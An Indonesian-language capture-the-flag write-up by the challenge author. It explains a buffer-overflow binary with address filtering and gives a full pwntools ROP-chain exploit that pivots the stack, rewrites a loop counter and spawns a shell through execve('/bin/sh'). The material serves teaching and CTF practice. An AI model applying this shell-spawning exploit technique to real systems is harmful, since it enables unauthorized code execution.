this challenge was created by me

Overview

Diberikan binary dengan proteksi sebagai berikut:

buffer-overflow-checksec

Binary tersebut tersebut menampilkan tulisan “OK, I’ll give you buffer overflow” lalu meminta input maksimal 1000 byte dan terdapat beberapa pengecekan setiap 8 byte. Berikut hasil dekompilasi fungsi main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v4; // [rsp+0h] [rbp-50h]
  int v5; // [rsp+8h] [rbp-48h]
  int v6; // [rsp+Ch] [rbp-44h]
  char buf[64]; // [rsp+10h] [rbp-40h]
  __int64 savedregs; // [rsp+50h] [rbp+0h]

  memset(buf, 0, sizeof(buf));
  v5 = 0;
  init(&savedregs, argv, buf);
  strcpy(str, "OK, I'll give you buffer overflow");
  puts(str);
  v6 = read(0, buf, 0x3E8uLL);
  while ( v6 / 8 != v5 )
  {
    v4 = *(_QWORD *)&buf[8 * v5];
    if ( v4 > 255 && v4 < (signed __int64)maybe_you_need_this
      || v4 > (signed __int64)etext && v4 < (signed __int64)&_bss_start
      || v4 > (signed __int64)&end )
    {
      puts("restricted.");
      exit(1);
    }
    ++v5;
  }
  return 0;
}

binary tersebut juga disediakan gadget tambahan seperti pop rdx dan juga syscall.

Terlihat beberapa pengecekan:

  1. v4 > 255 && v4 < (signed __int64)maybe_you_need_this
  2. v4 > (signed __int64)etext && v4 < (signed __int64)&_bss_start
  3. v4 > (signed __int64)&end )

Atau jika ditulis menggunakan alamat akan seperti:

  1. 255 < v4 < 0x0000000004006B6
  2. 0x000000000040090D < v4 < 0x0000000000601058
  3. v4 > 0x0000000006010B0

Itulah yang tidak boleh kita tulis setiap 8 byte pada array, dengan adanya pengecekan tersebut kita tidak bisa menulis PLT, GOT, dan libc address.

Vulnerability

Sesuai nama soal, iya, buffer overflow wkwkw

Exploit

Exploit yang kita akan lakukan adalah memanggil execve("/bin/sh”, 0, 0). Namun karena kita tidak bisa menulis /bin/sh, kita harus mencari cara agar lolos pengecekan. Caranya yaitu dengan memanggil fungsi read yang berada pada fungsi main (0x00000000004007E7). Untuk setup argumennya dapat dilakukan dengan menggunakan beberapa gadget yang lolos pengecekan yaitu pop rdi (0x00000000004008f3), pop rsi (0x00000000004008f1), dan pop rdx (0x00000000004006ba). Pada sebelum memanggil read, di payload kita tambahkan untuk mengubah base pointer ke bss (0x0000000006010a8) karena address diketahui dan juga lolos pengecekan. Kenapa base pointer diubah? karena kita akan memanggil read lagi untuk mengoverwrite rbp-0x48 (v5) yang merupakan counter pada saat pengecekan berlangsung dan akan diubah dengan nilai panjang string (payload) dibagi 8, supaya tidak ada pengecekan sama sekali dan kita dapat dengan mudah memasukkan string /bin/sh didalamnya.

    rbp = 0x0000000006010a8
    read = 0x0000000004007E7
    pop_rdi = 0x00000000004008f3
    pop_rsi_r15 = 0x00000000004008f1
    pop_rdx = 0x00000000004006ba
    syscall = 0x00000000004006bc

    payload = '\x00'*64
    payload += p64(rbp)
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(rbp-0x48)
    payload += p64(0)
    payload += p64(pop_rdx)
    payload += p64(200)
    payload += p64(read)
    p.sendlineafter('flow\n', payload)

berikut kondisi setelah payload dikirim dan tepat sebelum pemanggilan read kedua:

│0x0000000000601060│+0x0000   0x00007faada9a9620 <- rbp - 0x48 (v5)
│0x0000000000601068│+0x0008   0x0000000000000000   
│0x0000000000601070│+0x0010   0x00007faada9a88e0   
│0x0000000000601078│+0x0018   0x0000000000000000   
│0x0000000000601080│+0x0020   0x6c6c2749202c4b4f   
│0x0000000000601088│+0x0028   0x6f79206576696720   
│0x0000000000601090│+0x0030   0x7265666675622075   
│0x0000000000601098│+0x0038   0x6f6c667265766f20   
│0x00000000006010a0│+0x0040   0x0000000000000077   
│0x00000000006010a8│+0x0048   0x0000000000000000 <- rbp 

kita akan membuat payload yang mengoverwrite rbp-0x48 pada saat read kedua sekaligus setup untuk pemanggilan execve("/bin/sh”, 0, 0). Tetapi bagaimana set nilai raxnya? Disini saya menyediakan suatu fungsi yang memiliki nilai keluaran yang mana hal tersebut bisa digunakan untuk setup nilai rax, yaitu fungsi what. Berikut hasil dekompilasinya:

__int64 __fastcall what(int a1, int a2)
{
  signed int v2; // eax
  signed int i; // [rsp+14h] [rbp-4h]

  v2 = a1;
  if ( a2 >= a1 )
    v2 = a2;
  for ( i = v2; i % a1 || i % a2; ++i )
    ;
  return (unsigned int)i;
}

Hmm jika diteliti lagi itu merupakan fungsi KPK (Lho kok naronya fungsi KPK??? ya karena pengen wkwkwk). Jadi untuk memanggil execve kita harus set nilai rax menjadi 59, berarti kita harus setup argumen-argumen fungsi what menjadi 59 dan 1 atau 59 dan 59.

    payload = '/bin/sh'.ljust(0x48, '\x00')
    payload += p64(pop_rdi)
    payload += p64(1)
    payload += p64(pop_rsi_r15)
    payload += p64(59)
    payload += p64(0)
    payload += p64(elf.sym['what'])
    payload += p64(pop_rdi)
    payload += p64(rbp-0x40)
    payload += p64(pop_rsi_r15)
    payload += p64(0)
    payload += p64(0)
    payload += p64(pop_rdx)
    payload += p64(0)
    payload += p64(syscall)

karena mengingat kita harus overwrite rbp-0x48 (v5), pada awal payload kita taruh panjang payload dibagi 8.

    counter = len(payload) / 8 + 1
    payload = p64(counter) + payload
    p.sendline(payload)

setelah payload dikirim akan menjadi:

│0x0000000000601060│+0x0000   0x0000000000000018 <- rbp-0x48 (v5)
│0x0000000000601068│+0x0008   0x0068732f6e69622f ("/bin/sh")
│0x0000000000601070│+0x0010   0x0000000000000000   
│0x0000000000601078│+0x0018   0x0000000000000000   
│0x0000000000601080│+0x0020   0x0000000000000000   
│0x0000000000601088│+0x0028   0x0000000000000000   
│0x0000000000601090│+0x0030   0x0000000000000000   
│0x0000000000601098│+0x0038   0x0000000000000000   
│0x00000000006010a0│+0x0040   0x0000000000000000   
│0x00000000006010a8│+0x0048   0x0000000000000000 <- rbp

nilai 0x18 akan sama dengan panjang payload dibagi 8, dan while ( v6 / 8 != v5 ) akan bernilai false yang artinya tidak akan ada pengecekan sama sekali. Dengan begitu ropchain untuk pemanggilan execve("/bin/sh”, 0, 0) akan sukses.

Full exploit code

from pwn import *
import sys

BINARY = './chall'

con = 'nc chall.codepwnda.id 17013'

if(con):
    con = con.split(' ')
    HOST = con[1]
    PORT = con[2]

elf = ELF(BINARY, checksec=False)
argv = sys.argv
# context.terminal = 'gnome-terminal -e'.split()
context.terminal = 'tmux splitw -h -p 70'.split()
#context.log_level = 'DEBUG'

def exploit():

    rbp = 0x0000000006010a8
    read = 0x0000000004007E7
    pop_rdi = 0x00000000004008f3
    pop_rsi_r15 = 0x00000000004008f1
    pop_rdx = 0x00000000004006ba
    syscall = 0x00000000004006bc
    
    payload = '\x00'*64
    payload += p64(rbp)
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(rbp-0x48)
    payload += p64(0)
    payload += p64(pop_rdx)
    payload += p64(200)
    payload += p64(read)
    
    p.sendlineafter('flow\n', payload)

    payload = '/bin/sh'.ljust(0x48, '\x00')
    payload += p64(pop_rdi)
    payload += p64(1)
    payload += p64(pop_rsi_r15)
    payload += p64(59)
    payload += p64(0)
    payload += p64(elf.sym['what'])
    payload += p64(pop_rdi)
    payload += p64(rbp-0x40)
    payload += p64(pop_rsi_r15)
    payload += p64(0)
    payload += p64(0)
    payload += p64(pop_rdx)
    payload += p64(0)
    payload += p64(syscall)
    
    counter = len(payload) / 8 + 1

    payload = p64(counter) + payload

    p.sendline(payload)

    p.interactive()

if __name__ == '__main__':

    p = process(BINARY)

    if len(argv) > 1:
        if argv[1] != 'd':
            p = remote(HOST, PORT)
        else:
            cmd = '''
            '''
            gdb.attach(p, cmd)
    exploit()

buffer-overflow-pwned